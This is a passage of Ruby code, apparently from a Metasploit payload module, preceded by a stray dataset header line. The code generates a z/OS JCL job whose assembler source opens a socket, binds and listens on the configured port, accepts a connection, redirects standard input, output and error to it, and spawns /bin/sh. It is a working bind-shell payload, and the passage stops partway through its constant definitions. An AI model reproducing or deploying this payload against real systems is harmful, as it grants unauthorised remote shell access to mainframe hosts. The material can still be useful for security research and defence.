query stringlengths 7 9.55k | document stringlengths 10 363k | metadata dict | negatives listlengths 0 101 | negative_scores listlengths 0 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
Assign a config to a multiplexer | def set_multi_config multi_id, config
@redis.hset(path(), multi_id, config.to_json)
@log.debug("Registering multiplexer's configuration : #{config}")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def config=(config); end",
"def config=(value); end",
"def set_config(config)\n\t\tend",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def config=(config)\n @config = config\n end",
"def s... | [
"0.6189147",
"0.60797566",
"0.6077632",
"0.58976877",
"0.58976877",
"0.58976877",
"0.58976877",
"0.58976877",
"0.57271814",
"0.57162195",
"0.57131976",
"0.56236565",
"0.56232166",
"0.56232166",
"0.5622714",
"0.56213045",
"0.5601477",
"0.5601477",
"0.55862844",
"0.55687976",
"... | 0.70819587 | 0 |
Get an unassigned id | def get_unassigned_id
ids = @redis.hkeys(path()).inject([]){|a,i|a << i.to_i}
(Array(1..255) - ids)[0]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def id\n _id rescue nil\n end",
"def id\n raise MissingID if not defined?(@id)\n @id.to_i\n end",
"def get_id\n @id ||= 0\n @id += 1\n @id\n end",
"def unique_identifier\n @u_id ||= \"T1\"\n @u_id = @u_id.succ\n end",
"def assign_identifier\n self.id ||=... | [
"0.7039345",
"0.6996866",
"0.6812169",
"0.65434426",
"0.65406114",
"0.6515456",
"0.6499681",
"0.64591897",
"0.64395654",
"0.6437423",
"0.64332765",
"0.64112866",
"0.63879526",
"0.63731414",
"0.6366871",
"0.6351024",
"0.6301964",
"0.62968963",
"0.6285193",
"0.62682277",
"0.626... | 0.76086223 | 0 |
Publish a sensor's value | def publish_value(multi_id, sensor, raw_value)
return false unless knows? :sensor, multi_id, sensor
path = path(:sensor, :value, multi_id, sensor)
config = get_config(:sensor, multi_id, sensor)
if config == nil
@log.warn("Tried to publish a value from an unknown multiplexer : #{multi_id}")
return false
end
profile = get_profile(:sensor, config[:profile])
if profile == nil
@log.error("Tried to publish a value from an unknown profile : #{config[:profile]} (multiplexer : #{multi_id})")
return false
end
if profile[:rpn].is_a? String
rpn = profile[:rpn].sub("X", raw_value.to_s)
begin
value = solve_rpn(rpn)
rescue Exception => e
@log.error("Tried to publish a value with an icorrect rpn : #{profile[:rpn]} from #{config[:profile]}. Error : #{e.message}")
return false
end
else
value = raw_value
end
if profile[:precision].is_a? Integer
value = value.round profile[:precision]
end
key = {value: value, timestamp: Time.now.to_f, unit: profile[:unit], name: config[:name]}
old_value, set = @redis.multi do
@redis.hget(path, "value")
@redis.mapped_hmset(path, key)
end
old_value = old_value.to_f if old_value
if (old_value) && (old_value != key[:value])
@redis.publish(path(:sensor, :raw_value, multi_id, sensor), value)
@redis.publish(path, key.to_json)
end
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def event(sensor, value)\n lazy_configurator.sensor(sensor).event(value)\n end",
"def update\n @sensor = Sensor.find(params[:id])\n\n if @sensor.update(params[:sensor])\n head :no_content\n $redis.publish('sensors.update', { :name => @sensor.name, :value => @sensor.value, :id => @... | [
"0.67454916",
"0.64041454",
"0.61476487",
"0.6102874",
"0.60072744",
"0.6004811",
"0.5980133",
"0.59765804",
"0.59748584",
"0.5961139",
"0.59541726",
"0.59223807",
"0.5919715",
"0.59146947",
"0.58985317",
"0.5872623",
"0.58590466",
"0.5852155",
"0.5801776",
"0.5779509",
"0.57... | 0.7045027 | 0 |
Callback when a client request to add a sensor | def on_new_sensor &block
@on_new_sensor = block
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def insertReading()\n\n #@reading_id = SecureRandom.uuid\n\n DataReading.insertReading(@client_id, @sensor_type, @value, @location, @timestamp)\n\n end",
"def on_client_data(client)\n end",
"def forwardSensorValues\n logger.debug \"This is my params: \"+params[\"data\"][\"temperature\"].to_s\n l... | [
"0.60742956",
"0.5995738",
"0.5893128",
"0.5762513",
"0.57418466",
"0.5720186",
"0.57129735",
"0.57093483",
"0.5685073",
"0.56832755",
"0.5682769",
"0.5650046",
"0.5614984",
"0.55808353",
"0.55474246",
"0.5546048",
"0.55215573",
"0.5511185",
"0.5509328",
"0.54778254",
"0.5477... | 0.638988 | 0 |
Callback when a client request to add an actu | def on_new_actuator &block
@on_new_actuator = block
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add(client); end",
"def on_add(clicker)\n end",
"def add_actor(actor_id)\n @actors.push(actor_id) unless @actors.include?(actor_id)\n $game_player.refresh\n trigger_symbol = :\"actor_id_#{actor_id}\"\n unless $game_temp.effectus_triggers.include?(trigger_symbol)\n $game_temp.effectus_tr... | [
"0.6719151",
"0.6122246",
"0.6027276",
"0.6004385",
"0.594034",
"0.58350194",
"0.58003044",
"0.58003044",
"0.57736087",
"0.5743089",
"0.57061857",
"0.5688358",
"0.5670012",
"0.5668396",
"0.5584328",
"0.55194056",
"0.54951245",
"0.54906785",
"0.54810655",
"0.54784197",
"0.5452... | 0.0 | -1 |
Callback when a client request to delete a sensor | def on_deleted_sensor(&block)
@on_deleted_sensor = block
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @sensor.destroy\n respond_to do |format|\n format.html { redirect_to sensors_url, notice: t(:sensor_destroyed) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sensor = Sensor.find(params[:id])\n @sensor.destroy\n\n head :no_content\n end",
"def des... | [
"0.6986392",
"0.6965234",
"0.69608814",
"0.69608814",
"0.68993443",
"0.6739662",
"0.66933364",
"0.6634765",
"0.66269135",
"0.6535311",
"0.647857",
"0.6408162",
"0.63156825",
"0.6226075",
"0.62211144",
"0.6160812",
"0.61566865",
"0.61243385",
"0.6116197",
"0.61080164",
"0.6079... | 0.68989486 | 5 |
Callback when a client request to delete an actuator | def on_deleted_actuator(&block)
@on_deleted_actuator = block
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def orchio_delete\n response = client.send_request :delete, inst_args\n orchio_status response, 204\n end",
"def destroy\n @actuator = Actuator.find(params[:id])... | [
"0.72485",
"0.70760214",
"0.6954265",
"0.6944856",
"0.6883701",
"0.67677146",
"0.67495763",
"0.6731835",
"0.67066085",
"0.667954",
"0.6634386",
"0.6620304",
"0.6594604",
"0.6577349",
"0.656882",
"0.65529156",
"0.652239",
"0.65139335",
"0.65139335",
"0.6485481",
"0.6485481",
... | 0.60809535 | 95 |
Callback when a client request to change the state of an actuator | def on_actuator_state(&block)
@on_actuator_state = block
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def state_on_updateclient\n @log.debug(\"Net_state: change to state state_on_updateclient\")\n @network_state = :state_on_updateclient\n make_state_change_ntfy(:ntfy_state_onupdate)\n end",
"def actuator_state_callback message\n\t\t\tif not message.is_a? Hash\n\t\t\t\t@log.warn(\"A client tried to chan... | [
"0.6573763",
"0.621383",
"0.6205063",
"0.6118457",
"0.59856844",
"0.5945353",
"0.59153473",
"0.585396",
"0.5849705",
"0.58024365",
"0.58024365",
"0.5794977",
"0.57935685",
"0.57790124",
"0.56677574",
"0.56608886",
"0.56306803",
"0.5571876",
"0.55587816",
"0.55478865",
"0.5528... | 0.63082474 | 1 |
Callback when a client request to take a sensor | def on_taken &block
@on_taken = block
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sensor\n Sensor.initialize_from_path(path: \"#{resource_path}/sensor\", client: @client)\n end",
"def request_sensor(sensor_index:, read_key: nil)\n GetSensor.call(client: read_client, sensor_index: sensor_index, read_key: read_key)\n end",
"def on_new_sensor &block\n\t\t\t@on_new_senso... | [
"0.6186876",
"0.6151703",
"0.61514664",
"0.6108506",
"0.60759854",
"0.59805065",
"0.59015244",
"0.5821636",
"0.56847",
"0.56377673",
"0.56377673",
"0.56377673",
"0.56377673",
"0.56377673",
"0.56377673",
"0.5567063",
"0.55509186",
"0.55396044",
"0.55254906",
"0.5521838",
"0.55... | 0.0 | -1 |
Read the messages from the client and call the callbacks | def process_messages
loop do
chan, message = @redis_listener.blpop("#{PREFIX}.network:#{@network}.messages", 0)
@log.debug("A client sent the message : #{message}")
msgid, command, args = parse(message)
unless command
@log.warn("A client sent an invalid message.")
next
end
if msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)
answer(msgid, false, "No daemon could contact the multiplexer")
next
end
ans, info = case command
when "add_sensor"
register_device :sensor, args
when "add_actuator"
register_device :actuator, args
when "delete_sensor"
unregister_device :sensor, args
when "delete_actuator"
unregister_device :actuator, args
when "take"
take_callback args
when "actuator_state"
actuator_state_callback args
else
@log.warn("A client sent an unknown command : \"#{command}\"")
[false, "Unknown command \"#{command}\""]
end
case ans
when true # Success
answer(msgid, true)
when false # Failure
answer(msgid, false, info)
else # Timeout error, transmit to another daemon
if not msgid # Generate an id only for daemons
msgid = rand.hash.abs
message = "#{msgid}:#{message}"
end
@failed_cmds.push(msgid).unshift
#answer(msgid, false, "wait") # TODO utile ?
@redis_listener.lpush("#{PREFIX}.network:#@network.messages", message) #TODO generate with path?
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def init_message_listener\n begin\n message = @client.gets\n init_message(message)\n end until @client.closed?\n end",
"def on_readable socket, messages\n @on_read.call messages, socket\n end",
"def get_messages()\n @@log.debug \"#{self.class} get messages starts\"\n #\... | [
"0.6969668",
"0.682075",
"0.6747423",
"0.6712614",
"0.6699363",
"0.6685471",
"0.66505456",
"0.6541996",
"0.65249664",
"0.6448159",
"0.64010185",
"0.63971436",
"0.638814",
"0.6366473",
"0.6316322",
"0.6306347",
"0.6266661",
"0.62493503",
"0.6195004",
"0.61902535",
"0.61650115"... | 0.67090327 | 4 |
Parse an incoming message | def parse message
return nil unless message.valid_encoding?
message = message.dup
prefix = message.slice!(/\S+/)
return nil unless prefix
id, command = prefix.scan(/(\d+:)?(\w+)/).flatten
id = id.delete(":").to_i if id
id = nil if id == 0
if message.include?(':')
message = Hash[*message.scan(/(\w+):([^:\s]+)/).flatten].symbolize_keys if message.include?(':')
message.each_key {|k| message[k] = message[k].to_i if message[k].is_numeric?}
else
message.delete!(' ')
end
return [id, command, message]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse(message)\n message.strip!\n log message\n did_receive_response!(message)\n \n if /^PING (.+?)$/.match(message)\n reply \"PONG #{$1}\" and return\n end\n \n message = message.gsub(':', '').split(\" \")\n sender, raw, target = message.shift(3)\n user, hostname = sender.sp... | [
"0.75891435",
"0.7485017",
"0.736125",
"0.7152067",
"0.7139814",
"0.71062773",
"0.7070295",
"0.70176476",
"0.7012686",
"0.6946242",
"0.6908536",
"0.6902611",
"0.68383276",
"0.68210346",
"0.6697607",
"0.66832405",
"0.6670537",
"0.66354394",
"0.6619411",
"0.66177887",
"0.660569... | 0.74980223 | 1 |
Call the callback when a client request to change the state of an actu | def actuator_state_callback message
if not message.is_a? Hash
@log.warn("A client tried to change the state of an actuator with an invalid message")
return false, "invalid message"
end
if not (message[:multiplexer].is_a? Integer or message[:multiplexer].is_a? String)
@log.warn("A client tried to change the state of an invalid multiplexer")
return false, "Muliplexer id is invalid"
end
multi_id = get_multi_id(message[:multiplexer])
pin = get_pin(:actuator, multi_id, message[:pin])
if not (message[:state] == 0 or message[:state] == 1)
@log.warn("A client requested a bad state for a multiplexer")
return false, "bad state"
end
if not mine? multi_id
@log.warn("A client tried to change the state of an unknown multi")
return false, "unknown multi"
end
if not knows? :actuator, multi_id, pin
@log.warn("A client tried to change the state of an unknown actu")
return false, "unknown actu"
end
return [false, "unimplemented method"] unless @on_actuator_state
case @on_actuator_state.call(multi_id, pin, message[:state])
when true
@log.info("Switched #{message[:state] == 1 ? "on" : "off"} #{multi_id}:#{pin}")
return true
when false
return false, "the multiplexer refused"
else
return nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def state_on_updateclient\n @log.debug(\"Net_state: change to state state_on_updateclient\")\n @network_state = :state_on_updateclient\n make_state_change_ntfy(:ntfy_state_onupdate)\n end",
"def update\n thing_name = params[:id]\n is_on = params[:on].to_i\n client = Broker::Wrapper... | [
"0.6629361",
"0.617674",
"0.6034063",
"0.5990561",
"0.5842066",
"0.58330953",
"0.5829955",
"0.58135587",
"0.58075255",
"0.5669981",
"0.5651181",
"0.56494725",
"0.5581223",
"0.5573264",
"0.5573264",
"0.55702186",
"0.5560585",
"0.555008",
"0.55302054",
"0.5508859",
"0.5480406",... | 0.57941735 | 9 |
Call the on_taken callback | def take_callback multi
return false, "invalid multiplexer" unless multi.is_a? String
multi = multi.to_i if multi.is_integer?
id_multi = get_multi_id(multi)
if not id_multi.is_a? Integer
@log.warn("A client tried to take a multiplexer with bad multi_id or network")
return false, "bad multiplexer id or network"
end
config = get_multi_config(id_multi)
if not config.is_a? Hash
@log.warn("A client tried to take an unknown multiplexer")
return false, "unknown multiplexer"
end
return false, "unimplemented method" unless @on_taken
case @on_taken.call(id_multi)
when true
clean_up(id_multi)
config[:network] = @network
@log.info("Associated #{id_multi}")
set_multi_config(id_multi, config)
return true
when false
return false, "Failed to reset the multiplexer"
else
return nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_taken &block\n\t\t\t@on_taken = block\n\t\tend",
"def on_completion(actor); end",
"def after_failed\n end",
"def on_failure(object, *args); end",
"def on_timed_hit_success\n end",
"def on_take_default\n $testCaseID = \"VT229-0300\"\n puts 'Image.on_take() !'\n settings = { :camera_type ... | [
"0.8149244",
"0.5498272",
"0.54877234",
"0.5487306",
"0.54699385",
"0.53935695",
"0.5392515",
"0.5392515",
"0.52975214",
"0.52179104",
"0.51909137",
"0.51909137",
"0.5139274",
"0.51351726",
"0.51279426",
"0.5122712",
"0.5120272",
"0.51087755",
"0.5105733",
"0.5101379",
"0.508... | 0.0 | -1 |
Call the callback to register a sensor | def register_device type, config
if not config.is_a? Hash
@log.warn("A client tried to add a #{type} with a bad message")
return false, "bad message"
end
multi = config.delete(:multiplexer)
multi_id = get_multi_id(multi)
if (not multi_id.is_a? Integer)
@log.warn("A client tried to add a #{type} with a bad multiplexer id : #{multi}")
return false, "bad multiplexer id"
end
multi_config = get_multi_config multi_id
if not multi_config
@log.warn("A client tried to add a #{type} with an unknown multiplexer : #{multi}")
return false, "unknown multiplexer"
end
must_take = false
case multi_config[:network]
when 0
must_take = true
when @network
# rien à faire ?
else
@log.warn("A client tried to add a #{type} that belong to another network : #{multi_config[:network]}")
return false, "multiplexer belong to network #{multi_config[:network]}"
end
profile = get_profile type, config[:profile]
if profile == nil
@log.warn("A client tried to add a #{type} with an unknown profile : #{config[:profile]} (multiplexer : #{multi})")
return false, "unknown profile"
end
begin
config.must_have(CONFIG[type][:necessary])
config.can_have(CONFIG[type][:optional])
rescue ArgumentError => error
@log.warn("A client tried to add a bad sensor config or profile : #{error.message}")
return false, "Incomplete config : #{error.message}"
end
begin
profile.must_have(PROFILE[type][:necessary])
profile.can_have(PROFILE[type][:optional])
rescue ArgumentError => error
@log.error("The profile #{config[:profile]} is bad : #{error.message}")
return false, "The profile exists but is invalid : #{error.message}"
end
period = config[:period] || profile[:period]
if not period #TODO : allow non looping sensors ?
@log.warn("A client tried to add the sensor #{multi}:#{config[:pin]} without period. Config : #{config}, profile : #{profile}")
return false, "Period is missing in profile and config"
end
pin = config.delete(:pin)
method = {actuator: @on_new_actuator, sensor: @on_new_sensor}[type]
return [false, "unimplemented command"] unless method
case method.call(multi_id, pin, profile[:function], period, *[profile[:option1], profile[:option2]])
when true
if must_take
multi_config[:network] = @network
set_multi_config multi_id, multi_config
end
@log.info("Add a #{type} on #{multi_id}:#{pin}")
@redis.hset(path(type, :config, multi_id), pin, config.to_json)
return true
when false
return false, "Refused by multi"
else
return nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_new_sensor &block\n\t\t\t@on_new_sensor = block\n\t\tend",
"def register\n puts \"register\"\n ApiBase.client.put(\"/device/#{self.id}\", self.to_json)\n end",
"def register\n self.ring_server.write(@tuple, @renewer)\n nil\n end",
"def register_callback(&proc)\n if ready... | [
"0.6534787",
"0.6258165",
"0.59464806",
"0.5850332",
"0.57809246",
"0.5775537",
"0.5761886",
"0.5747828",
"0.5747828",
"0.5747828",
"0.5743039",
"0.5726749",
"0.57222676",
"0.5707545",
"0.57046795",
"0.56506026",
"0.5641305",
"0.5627202",
"0.55791736",
"0.5557605",
"0.5545000... | 0.0 | -1 |
Call the callback to unregister a device | def unregister_device type, config
if not (config.is_a? Hash)
@log.warn("A client tried to delete a #{type} with an invalid message")
return false, "Bad message"
end
if not (config[:multiplexer].is_a? Integer or config[:multiplexer].is_a? String)
@log.warn("A client tried to delete a #{type} with bad multiplexer id : #{config[:multiplexer]}")
return false, "Bad multiplexer id"
end
if not (config[:pin].is_a? Integer or config[:pin].is_a? String)
@log.warn("A client tried to delete a #{type} with bad pin : #{config[:pin]}")
return false, "Bad id"
end
multi_id = get_multi_id(config[:multiplexer])
pin = get_pin(type, multi_id, config[:pin])
if not knows?(type, multi_id, pin)
@log.warn("A client tried to delete an unknown #{type} : #{config[:multiplexer]}:#{config[:pin]}")
return false, "unknown #{type} or multiplexer"
end
callback = {sensor: @on_deleted_sensor, actuator: @on_deleted_actuator}[type]
return [false, "unimplemented command"] unless callback
case callback.call(multi_id, pin)
when true
@redis.del(path(type, :value, multi_id, pin))
@redis.hdel(path(type, :config, multi_id), pin)
@log.info("Deleted a #{type} from #{multi_id}:#{pin}")
return true
when false
return false, "Refused by multiplexer"
when nil
return nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def unregister\n puts \"APN::Device.unregister\"\n http_delete(\"/api/device_tokens/#{self.token}\")\n end",
"def unregister\n begin\n if @user.unregister_device(params[:id])\n render json_status_response(200, \"Device unregistered successfully\")\n else\n render json_status_res... | [
"0.7661396",
"0.72020006",
"0.6875426",
"0.65950704",
"0.6552904",
"0.6484514",
"0.63437307",
"0.6283782",
"0.62450624",
"0.6170693",
"0.6140333",
"0.6069133",
"0.6036034",
"0.6000343",
"0.5937336",
"0.5863119",
"0.57956064",
"0.5699452",
"0.5671508",
"0.56607324",
"0.5658017... | 0.59799075 | 14 |
Solve a Reverse Polish Notation | def solve_rpn(s)
stack = []
s.split("\s").each do |e|
case e
when "+"
stack.push(stack.pop + stack.pop)
when "-"
stack.push(-stack.pop + stack.pop)
when "*"
stack.push(stack.pop * stack.pop)
when "/"
a, b = stack.pop, stack.pop
stack.push(b / a)
when "<?"
a, b = stack.pop, stack.pop
stack.push(b < a ? 1 : 0)
when ">?"
a, b = stack.pop, stack.pop
stack.push(b > a ? 1 : 0)
when "<=?"
a, b = stack.pop, stack.pop
stack.push(b <= a ? 1 : 0)
when ">=?"
a, b = stack.pop, stack.pop
stack.push(b >= a ? 1 : 0)
else
raise TypeError, "Bad rpn" unless e.is_numeric?
stack.push(e.to_f)
end
end
stack[0]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def solve_cypher (phrase, key=3)\n\t\n\t#Array de minusculas\n\tfirst_low=\"a\".ord\n\tlast_low=\"z\".ord\n\n\tarray_low = []\n\twhile first_low <= last_low\n\tarray_low << first_low.chr\n\tfirst_low += 1\n\tend\n\n\t#Array de mayusculas\n\tfirst_upp=\"A\".ord\n\tlast_upp=\"Z\".ord\n\n\tarray_upp = []\n\twhile fir... | [
"0.6318038",
"0.6300149",
"0.62629735",
"0.6202779",
"0.59850585",
"0.5787901",
"0.5631755",
"0.56056434",
"0.55813646",
"0.55368286",
"0.55267626",
"0.55127573",
"0.5498354",
"0.5489613",
"0.5476456",
"0.5453387",
"0.5394634",
"0.5384853",
"0.53712463",
"0.53307134",
"0.5322... | 0.62085223 | 3 |
Setup replacement vars and populate payload | def command_string
if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
end
lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
lhost = lhost.unpack("H*")[0]
lport = datastore['LPORT']
lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
jcl_jobcard +
"//**************************************/\n" \
"//* SPAWN BIND SHELL FOR MSF MODULE */\n" \
"//**************************************/\n" \
"//*\n" \
"//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
"//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \
"//C.SYSIN DD *,DLM=ZZ\n" \
" TITLE 'Spawns Bind Shell'\n" \
"SPAWNBND CSECT\n" \
"SPAWNBND AMODE 31\n" \
"SPAWNBND RMODE ANY\n" \
"***********************************************************************\n" \
"* @SETUP registers and save areas *\n" \
"***********************************************************************\n" \
" USING *,15\n" \
"@SETUP0 B @SETUP1\n" \
" DROP 15\n" \
" DS 0H # half word boundary\n" \
"@SETUP1 STM 14,12,12(13) # save our registers\n" \
" LR 2,13 # callers sa\n" \
" LR 8,15 # pgm base in R8\n" \
" USING @SETUP0,8 # R8 for base addressability\n" \
"*************************************\n" \
"* set up data area / addressability *\n" \
"*************************************\n" \
" L 0,@DYNSIZE # len of variable area\n" \
" GETMAIN RU,LV=(0) # get data stg, len R0\n" \
" LR 13,1 # data address\n" \
" USING @DATA,13 # addressability for data area\n" \
" ST 2,@BACK # store callers sa address\n" \
" ST 13,8(,2) # store our data addr\n" \
" DS 0H # halfword boundaries\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1SOC set up socket - inline *\n" \
"***********************************************************************\n" \
" CALL BPX1SOC, X\n" \
" (DOM,TYPE,PROTO,DIM,SRVFD, X\n" \
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"*******************************\n" \
"* chk return code, 0 or exit *\n" \
"*******************************\n" \
" LHI 15,2\n" \
" L 6,RTN_VAL\n" \
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1BND (bind) bind to local socket - inline *\n" \
"***********************************************************************\n" \
" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \
" MVI SOCK_FAMILY,AF_INET # family inet\n" \
" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \
" MVC SOCK_SIN_PORT,CONNSOCK # port to bind to\n" \
" MVC SOCK_SIN_ADDR,CONNADDR # address to bind to\n" \
" CALL BPX1BND, X\n" \
" (SRVFD,SOCKLEN,SOCKADDR, X\n" \
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"*******************************\n" \
"* chk return code, 0 or exit *\n" \
"*******************************\n" \
" LHI 15,3\n" \
" L 6,RTN_VAL\n" \
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1LSN (listen) listen on local socket - inline *\n" \
"***********************************************************************\n" \
" CALL BPX1LSN, X\n" \
" (SRVFD,BACKLOG, X\n" \
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"*******************************\n" \
"* chk return code, 0 or exit *\n" \
"*******************************\n" \
" LHI 15,4\n" \
" L 6,RTN_VAL\n" \
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1ACP (accept) accept socket connection - inline *\n" \
"***********************************************************************\n" \
" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \
" MVI SOCK_FAMILY,AF_INET # family inet\n" \
" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \
" CALL BPX1ACP, X\n" \
" (SRVFD,CLILEN,CLISKT, X\n" \
" CLIFD,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"*******************************\n" \
"* chk return code, 0 or exit *\n" \
"*******************************\n" \
" LHI 15,5\n" \
" L 6,RTN_VAL\n" \
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
"\n" \
"*************************************************\n" \
"* order of things to prep child pid *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) Dupe parent read fd to std input *\n" \
"*************************************************\n" \
"*******************\n" \
"***** STDIN *****\n" \
"*******************\n" \
" CALL BPX1FCT, X\n" \
" (CLIFD, X\n" \
" =A(F_DUPFD2), X\n" \
" =A(F_STDI), X\n" \
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"****************************************************\n" \
"* chk return code here anything but -1 is ok *\n" \
"****************************************************\n" \
" LHI 15,6 # exit code for this func\n" \
" L 7,RTN_VAL # set r7 to rtn val\n" \
" CIB 7,-1,8,EXITP # r6 = -1 exit\n" \
"\n" \
"*******************\n" \
"***** STDOUT *****\n" \
"*******************\n" \
" CALL BPX1FCT, X\n" \
" (CLIFD, X\n" \
" =A(F_DUPFD2), X\n" \
" =A(F_STDO), X\n" \
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"****************************************************\n" \
"* chk return code here anything but -1 is ok *\n" \
"****************************************************\n" \
" LHI 15,7 # exit code for this func\n" \
" L 7,RTN_VAL # set r7 to rtn val\n" \
" CIB 7,-1,8,EXITP # r6 = -1 exit\n" \
"\n" \
"*******************\n" \
"***** STDERR *****\n" \
"*******************\n" \
" CALL BPX1FCT, X\n" \
" (CLIFD, X\n" \
" =A(F_DUPFD2), X\n" \
" =A(F_STDE), X\n" \
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
"****************************************************\n" \
"* chk return code here anything but -1 is ok *\n" \
"****************************************************\n" \
" LHI 15,8 # exit code for this func\n" \
" L 7,RTN_VAL # set r7 to rtn val\n" \
" CIB 7,-1,8,EXITP # r7 = -1 exit\n" \
"\n" \
"***********************************************************************\n" \
"* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \
"***********************************************************************\n" \
" XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \
" XI INHEFLAGS0,INHESETPGROUP\n" \
" SPACE ,\n" \
" MVC INHEEYE,=C'INHE'\n" \
" LH 0,TLEN\n" \
" STH 0,INHELENGTH\n" \
" LH 0,TVER\n" \
" STH 0,INHEVERSION\n" \
" CALL BPX1SPN, X\n" \
" (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \
" EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \
" RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
" LHI 15,9 # exit code for this func\n" \
" L 7,RTN_VAL # set r7 to rtn val\n" \
" L 6,RTN_COD\n" \
" L 5,RSN_COD\n" \
" CIB 7,-1,8,EXITP # r7 = -1 exit\n" \
"\n" \
"****************************************************\n" \
"* cleanup & exit preload R15 with exit code *\n" \
"****************************************************\n" \
" XR 15,15 # 4 FOR rc\n" \
"EXITP L 0,@DYNSIZE\n" \
" LR 1,13\n" \
" L 13,@BACK\n" \
" DROP 13\n" \
" FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
" XR 15,15\n" \
" L 14,12(,13) # load R14\n" \
" LM 0,12,20(13) # load 0-12\n" \
" BSM 0,14 # branch to caller\n" \
"\n" \
"****************************************************\n" \
"* Constants and Variables *\n" \
"****************************************************\n" \
" DS 0F # constants full word boundary\n" \
"F_STDI EQU 0\n" \
"F_STDO EQU 1\n" \
"F_STDE EQU 2\n" \
"*************************\n" \
"* Socket conn variables * # functions used by pgm\n" \
"*************************\n" \
"CONNSOCK DC XL2'#{lport}' # LPORT\n" \
"CONNADDR DC XL4'#{lhost}' # LHOST\n" \
"BACKLOG DC F'1' # 1 byte backlog\n" \
"DOM DC A(AF_INET) # AF_INET = 2\n" \
"TYPE DC A(SOCK#_STREAM) # stream = 1\n" \
"PROTO DC A(IPPROTO_IP) # ip = 0\n" \
"DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
"SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \
"CLILEN DC F'0' # client sock len - don't care\n" \
"CLISKT DC X'00' # client socket struck - don't care\n" \
"************************\n" \
"* BPX1SPN vars *********\n" \
"************************\n" \
"EXCMD DC CL7'/bin/sh' # command to exec\n" \
"EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \
"EXARGC DC F'1' # num of arguments\n" \
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
"EXARG1L DC A(L'EXARG1) # len of arg1\n" \
"EXARGL DC A(EXARG1) # addr of argument list\n" \
"EXARGLL DC A(EXARG1L) # addr of arg len list\n" \
"EXENVC DC F'0' # env var count\n" \
"EXENVL DC F'0' # env var arg list addr\n" \
"EXENVLL DC F'0' # env var arg len addr\n" \
"FDCNT DC F'0' # field count s/b 0\n" \
